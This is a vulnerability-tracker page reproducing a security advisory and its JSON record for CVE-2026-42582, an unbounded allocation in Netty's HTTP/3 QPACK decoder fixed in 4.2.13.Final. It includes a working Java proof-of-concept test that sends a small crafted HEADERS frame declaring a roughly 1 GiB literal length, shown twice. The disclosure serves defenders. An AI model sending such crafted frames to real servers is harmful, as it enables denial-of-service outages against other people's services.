GHSA-2C5C-CHWR-9HQW

Vulnerability from github – Published: 2026-05-07 00:19 – Updated: 2026-05-14 20:41
VLAI?
Summary
Netty HTTP/3 QPACK literal unbounded allocation
Details

Summary

When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).

Details

When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].

PoC

The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:19:21Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).\n\n### Details\nWhen decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length \u003c= in.readableBytes()` before `new byte[length]`.\n\n### PoC\nThe test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1\u202fGiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            AtomicReference\u003cThrowable\u003e serverErrors = new AtomicReference\u003c\u003e();\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverErrors.set(cause.getCause());\n                                            } else {\n                                                serverErrors.set(cause);\n                                            }\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10000000)\n                    .initialMaxStreamDataBidirectionalLocal(1000000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n            header.writeByte(0x01);\n            header.writeByte(0x08);\n\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n\n            header.writeByte(0x27);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x04);\n\n            rawStream.writeAndFlush(header).sync();\n\n            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nThe server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.",
  "id": "GHSA-2c5c-chwr-9hqw",
  "modified": "2026-05-14T20:41:09Z",
  "published": "2026-05-07T00:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42582"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/3 QPACK literal unbounded allocation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…